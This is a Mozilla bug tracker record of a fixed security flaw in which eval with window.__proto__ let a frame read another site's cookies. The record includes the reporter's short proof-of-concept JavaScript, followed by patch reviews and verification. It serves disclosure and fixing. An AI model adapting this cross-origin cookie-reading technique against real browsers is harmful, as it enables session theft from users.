XSS: fixes for bug 311024 and bug 311619 can be circumvented by using window.__proto__

RESOLVED FIXED in mozilla1.8rc1

Status

()

Core
JavaScript Engine
P2
normal
RESOLVED FIXED
12 years ago
4 years ago

People

(Reporter: moz_bug_r_a4, Assigned: mrbkap)

Tracking

({testcase, verified1.7.13, verified1.8})

Trunk
mozilla1.8rc1
x86
Windows XP
testcase, verified1.7.13, verified1.8
Points:
---
Bug Flags:
blocking1.7.13 +
blocking-aviary1.0.8 +
blocking1.8rc1 +
in-testsuite -

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:high] xss (splitwindows))

Attachments

(6 attachments, 4 obsolete attachments)

(Reporter)

Description

12 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050916
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051010 Firefox/1.6a1

Please see Bug 311024, Bug 311619 and Bug 310664.

Exploit:
code in subframe:

    function a(w) {
      with (w) alert(location.href + "\ncookie: " + document.cookie);
    }
    var f = eval("(" + a.toSource() + ");", window.__proto__);

code in main:

    var x = frames[0].f;
    frames[0].location = "http://www.yahoo.com/";
    x(frames[0]);

I've tested on the hourly build 2005101002.

Reproducible: Always

Steps to Reproduce:
(Reporter)

Comment 1

12 years ago
Created attachment 199057 [details]
testcase 1 - steal cookie - eval(code, window.__proto__)
(Reporter)

Comment 2

12 years ago
Created attachment 199058 [details]
testcase 2 - steal cookie - script.exec(window.__proto__)
Assignee: dveditz → mrbkap
Status: UNCONFIRMED → NEW
Component: Security → JavaScript Engine
Depends on: 296639
Ever confirmed: true
Flags: blocking1.8rc1+
Flags: blocking1.7.13+
Flags: blocking-aviary1.0.8+
Whiteboard: [sg:high] xss (splitwindows)
(Assignee)

Comment 3

12 years ago
I'm looking into this. This might end up being a data: url problem (where the
data URL is exposing bad principals).
Status: NEW → ASSIGNED
Priority: -- → P2
Target Milestone: --- → mozilla1.8rc1
(Reporter)

Comment 4

12 years ago
(In reply to comment #3)
> I'm looking into this. This might end up being a data: url problem (where the
> data URL is exposing bad principals).

Exploits work without data: url.
(Reporter)

Comment 5

12 years ago
Created attachment 199141 [details]
iframe's content - eval(code, window.__proto__)
(Reporter)

Comment 6

12 years ago
Created attachment 199143 [details]
testcase 3 - eval(code, window.__proto__) without data: url
(Assignee)

Comment 7

12 years ago
Yeah, I should have updated this bug earlier. brendan and I tracked this down
earlier and it has nothing to do with data: URIs and everything to do with eval
not checking its passed-in scopeobj if called directly. I'll have a patch tomorrow.
(Reporter)

Comment 8

12 years ago
Created attachment 199144 [details]
iframe's content - script.exec(window.__proto__)
(Reporter)

Updated

12 years ago
Attachment #199144 - Attachment is obsolete: true
(Assignee)

Comment 9

12 years ago
*** Bug 311962 has been marked as a duplicate of this bug. ***
(Assignee)

Comment 10

12 years ago
Created attachment 199183 [details] [diff] [review]
wrong file

This is basically the patch from yesterday, but I cleaned it up a bit.
Attachment #199183 - Flags: review?(brendan)
(Assignee)

Comment 11

12 years ago
Comment on attachment 199183 [details] [diff] [review]
wrong file

ffs, wrong file :(
Attachment #199183 - Flags: review?(brendan)
(Assignee)

Comment 12

12 years ago
Created attachment 199184 [details] [diff] [review]
possible fix
Attachment #199183 - Attachment is obsolete: true
Attachment #199184 - Flags: review?(brendan)
(Assignee)

Updated

12 years ago
Attachment #199183 - Attachment description: possible fix → wrong file
Comment on attachment 199184 [details] [diff] [review]
possible fix


>             callerVarObj = caller->varobj;
>             if (obj != callerVarObj) {
>                 /* Set fp->varobj too, for the compiler. */
>                 caller->varobj = fp->varobj = obj;
>                 setCallerVarObj = JS_TRUE;
>             }

This should move down too, per our face-to-face discussion.

>+    if (caller) {
>+        callerScopeChain = caller->scopeChain;
>+        if (scopeobj != callerScopeChain) {
>+            ok = CheckEvalAccess(cx, scopeobj, caller->script->principals);
>+            if (!ok)
>+                goto out;
>+
>+            scopeobj = js_NewObject(cx, &js_WithClass, scopeobj,
>+                                    callerScopeChain);
>+            if (!scopeobj) {
>+                ok = JS_FALSE;
>+                goto out;
>+            }
>+
>+            /* Set fp->scopeChain too, for the compiler. */
>+            caller->scopeChain = fp->scopeChain = scopeobj;
>+            setCallerScopeChain = JS_TRUE;
>+        }
>+    }

How about a brief comment, talking about change of scope, in addition to
indirect call, requiring this?

/be
Attachment #199184 - Flags: review?(brendan)
Attachment #199184 - Flags: review+
Attachment #199184 - Flags: approval1.8rc1?
Created attachment 199267 [details] [diff] [review]
better fix mrbkap pointed out we want, and he's right!

This ought to work.  Blake will test and check into the trunk.	Thanks.

/be
Attachment #199184 - Attachment is obsolete: true
Attachment #199267 - Flags: review+
Attachment #199267 - Flags: approval1.8rc1?
(Assignee)

Comment 15

12 years ago
Comment on attachment 199267 [details] [diff] [review]
better fix mrbkap pointed out we want, and he's right!

This doesn't work. Of course the script has access to window.__proto__, it
wouldn't be able to call eval with that parameter otherwise. The problem is
that searching the parent chain of window.__proto__ finds the outer window.
More thought is needed.
Attachment #199267 - Flags: review-
Attachment #199267 - Flags: review+
Attachment #199267 - Flags: approval1.8rc1?

Comment 16

12 years ago
Comment on attachment 199184 [details] [diff] [review]
possible fix

clearing approval flag for an obsolete patch
Attachment #199184 - Flags: approval1.8rc1?
Comment on attachment 199267 [details] [diff] [review]
better fix mrbkap pointed out we want, and he's right!

Also, caller could be null.

Perhaps this is close, though.	It's moving in the right direction to separate
o.eval(s) and eval(s, o) cases.

/be
Attachment #199267 - Attachment is obsolete: true
Blake and I talked this over and it seems like we need to make sure we never end
up with objects whose parent is an outer window to be safe against attacks like
this. The DOM objects currently parented at an outer window are
window.__proto__, window.navigator (including prototypes), and window.location
(also including prototypes). So this is getting rather messy, lots of things to
tune by hand to get all this right. Anyone have any ideas on a better approach here?
(In reply to comment #18)
> Anyone have any ideas on a better approach here?

No :-/.  I told blake to fix it this way originally (I warned him, but did he
listen?  Nooooooooooooo!  ;-)

Sucks.  I'll help.

/be

(Assignee)

Comment 20

12 years ago
We need to make sure not to regress bug 304284 with these changes.
(Assignee)

Comment 21

12 years ago
Created attachment 199494 [details] [diff] [review]
Bah

Brendan caught me when I was hungry and suggested this. This places an
arbitrary limitation on the scope object passed to either eval() or
script.exec() that it not have an innerizable object on its proto chain. The
comment is too brief since I don't want to give too much away in it (though I'm
not sure how much we have to worry about this).
Attachment #199494 - Flags: review?(brendan)
Comment on attachment 199494 [details] [diff] [review]
Bah

Nits: ScopeChain, not ScopeObject, and maybe common the "Script.prototype.exec"
strict into a static const char [] explicitly?

/be
Attachment #199494 - Flags: review?(brendan) → review+

Updated

12 years ago
Flags: testcase?
(Assignee)

Comment 23

12 years ago
Fix checked into trunk.
Status: ASSIGNED → RESOLVED
Last Resolved: 12 years ago
Resolution: --- → FIXED
(Assignee)

Comment 24

12 years ago
Comment on attachment 199494 [details] [diff] [review]
Bah

This patch fixes a security bug by disallowing bad scoped objects from being
passed into eval.
Attachment #199494 - Flags: approval1.8rc1?
(Assignee)

Comment 25

12 years ago
Comment on attachment 199494 [details] [diff] [review]
Bah

Actually, I'm going to roll this into my monster "security fixer" branch patch.
Attachment #199494 - Flags: approval1.8rc1?
(Assignee)

Updated

12 years ago
Attachment #199494 - Flags: approval1.8rc1?
(Assignee)

Comment 26

12 years ago
Checked in on MOZILLA_1_8_BRANCH.
Keywords: fixed1.8

Updated

12 years ago
Attachment #199494 - Flags: approval1.8rc1? → approval1.8rc1+

Comment 27

12 years ago
tested with firefox 1.5 rc2 on winxp/linux
testcase 1: pass
testcase 2: pass
testcase 3: pass
Keywords: fixed1.8 → verified1.8

Comment 28

12 years ago
Created attachment 206881 [details]
test.*.com/tests/mozilla.org/security/311892.zip

moz_bug_r_a4's tests.

Updated

12 years ago
Flags: testcase? → testcase+
Fixed on the aviary1.0/mozilla1.7 branches by the split-window alternative (bug 316589)
Keywords: fixed-aviary1.0.8, fixed1.7.13

Comment 30

12 years ago
v.fixed on 1.0.1 Aviary branch with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060215 Firefox/1.0.8, all 3 testcases pass.
Keywords: fixed-aviary1.0.8 → verified-aviary1.0.8

Comment 31

12 years ago
v ff on 1.7.13 windows/mac 20060221 builds, moz on 1.7.13 windows 20060221
Keywords: fixed1.7.13 → verified1.7.13
Group: security

Updated

10 years ago
Flags: in-testsuite+ → in-testsuite?

Updated

9 years ago
Keywords: testcase
Flags: in-testsuite? → in-testsuite-
You need to log in before you can comment on or make changes to this bug.